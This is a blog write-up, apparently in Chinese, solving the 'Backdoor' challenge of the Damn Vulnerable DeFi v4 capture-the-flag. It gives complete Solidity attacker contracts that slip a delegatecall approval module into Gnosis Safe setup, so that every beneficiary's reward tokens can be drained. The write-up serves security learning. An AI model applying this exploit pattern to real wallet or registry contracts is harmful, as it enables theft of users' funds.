Damn-vulnerable-defi-V4-solution(Backdoor)

jerichou
2025-09-05 / 0 评论 / 4 阅读 / 正在检测是否收录...

一、Backdoor

mf3sxqfk.png

背景:
  • 这里用的是 Gnosis Safe(多签钱包) 的体系:

    • SafeProxyFactory 可以创建新的 Safe 钱包(是一个代理合约)。
    • singletonCopy 是 Safe 钱包的逻辑合约地址(所有代理钱包都会 delegatecall 到这个逻辑合约)。
    • 创建 Safe 钱包 时,可以指定一个 IProxyCreationCallback,在新钱包被创建时会触发回调。

本题里,WalletRegistry 就是这个回调合约。

📌 关键函数:
proxyCreated

当有人通过 SafeProxyFactory.createProxyWithCallback 创建钱包时,这个函数会被调用。

逻辑如下:

  1. 资金检查
if (token.balanceOf(address(this)) < PAYMENT_AMOUNT) revert NotEnoughFunds();

​ 确保 WalletRegistry 自己有足够的代币可以奖励。

  1. 验证调用来源
  • 必须是 工厂合约 (walletFactory) 调用
  • 必须用正确的逻辑合约 (singletonCopy)
  1. 验证初始化数据

    • initializer[:4] 必须是 Safe.setup.selector → 保证这是在调用 Gnosis Safe 的 setup()。
    • 检查多签参数:

      • threshold == 1
      • owners.length == 1
  2. 验证 owner 合法

    • owner 必须在 beneficiaries 白名单里
    • 并且 Safe 钱包的 fallbackManager 必须是空(不能有特殊的 handler)。
  3. 更新状态

    • 从 beneficiaries 列表里移除这个 owner(一个地址只能领一次奖励)。
    • 把这个钱包登记到 wallets[owner]。
  4. 发放奖励

    SafeTransferLib.safeTransfer(address(token), walletAddress, PAYMENT_AMOUNT);

    给新钱包转 10 个代币。

这个 WalletRegistry 的作用就是:

  1. 管理一批 白名单用户(beneficiaries)
  2. 当白名单用户用工厂部署一个 Gnosis Safe 钱包时:

    • 验证钱包合法性(阈值=1,只有 1 个 owner,没有 fallback manager,正确的逻辑合约)
    • 给钱包奖励 10 个代币
    • 并且只奖励一次
攻击思路:
  1. 准备一个“DelegateApprove”合约(在 Safe.setup 的 to 上被 DELEGATECALL):

    • 里面只有一个函数:在“当前上下文(即 Safe 钱包自身)”里执行 call 调用

      IERC20(token).approve(attacker, type(uint256).max);

  2. 为每个受益人(beneficiaries)批量创建 Safe

    • 通过 SafeProxyFactory.createProxyWithCallback(singleton, initializer, salt, registry)。
    • initializer 编码 Safe.setup 参数:

      • owners = [beneficiary]
      • threshold = 1
      • to = address(DelegateApprove)(你部署的委托合约)
      • data = abi.encodeWithSelector(DelegateApprove.approve.selector, address(token), attacker)
      • fallbackHandler = address(0)(必须为零以通过校验)
      • paymentToken = address(0), payment = 0, paymentReceiver = address(0)
    • 这样一来:Safe 创建 → setup 里对 to 做 DELEGATECALL → 在 Safe 自身上下文里完成 对你地址的无限授权
  3. 拿钱

    • WalletRegistry.proxyCreated 校验通过后,会给新钱包打 PAYMENT_AMOUNT = 10e18 代币。
    • 你随后直接从外部调用

      token.transferFrom(address(safe), recovery, PAYMENT_AMOUNT)

      把每个 Safe 里刚发的 10 代币都拉到你的回收地址 recovery。

    • 对所有受益人循环,资金全部转走。

mf6jdhg9.png

我抽取核心的调用链:

SafeProxyFactory::createProxyWithCallback(...)
    ├─ SafeProxy::fallback()                   [call]
    │   ├─ Safe::setup(...)                   [delegatecall]
    │   │   ├─ DelegateApprove::approve(...)  [delegatecall]
    │   │   │   ├─ DamnValuableToken::approve(...) [call]

解释:

  1. 工厂调用 SafeProxy → 触发 fallback

    这里 msg.sender = 工厂。

  2. SafeProxy 用 delegatecall 跳进 Safe::setup

    仍然是 Proxy 上下文,msg.sender 还是工厂。

  3. Safe::setup 又 delegatecall 到 DelegateApprove::approve

    依然是 Proxy 上下文,msg.sender 还是工厂。

  4. DelegateApprove 内部执行 call(token.approve)

    这一步是 普通 call,所以:

    • 在 Token 合约眼里,msg.sender = SafeProxy 地址。
    • 所以事件里看到的 owner = SafeProxy,spender = DelegateApprove。
solution
function test_backdoor() public checkSolvedByPlayer {
        new Attacker(walletFactory, address(singletonCopy), token, recovery, walletRegistry, users);
    }
contract DelegateApprove {
    function approve(address token, address spender) external {
        // 在调用者(Safe 钱包)上下文里运行(因为 setup 用的是 DELEGATECALL) 避开 delegatecall 使用 call 真正修改权限
        require(DamnValuableToken(token).approve(spender, type(uint256).max), "approve failed");
    }
}
contract Attacker {
    constructor(
        SafeProxyFactory factory,
        address singleton,
        DamnValuableToken token,
        address recovery,
        WalletRegistry registry,
        address[] memory beneficiaries
    ) {
        DelegateApprove helper = new DelegateApprove();

        for (uint256 i = 0; i < beneficiaries.length; i++) {
            address[] memory owners = new address[](1);
            owners[0] = beneficiaries[i];

            bytes memory data = abi.encodeWithSelector(DelegateApprove.approve.selector, address(token), address(this));

            bytes memory initializer = abi.encodeWithSelector(
                Safe.setup.selector,
                owners,
                1, // threshold
                address(helper), // to
                data, // data
                address(0), // fallbackHandler MUST be zero
                address(0), // paymentToken
                0, // payment
                address(0) // paymentReceiver
            );

            address proxy = address(factory.createProxyWithCallback(singleton, initializer, i, registry));

            require(token.transferFrom(proxy, recovery, 10e18), "pull failed");
        }
    }
}
1

评论 (0)

取消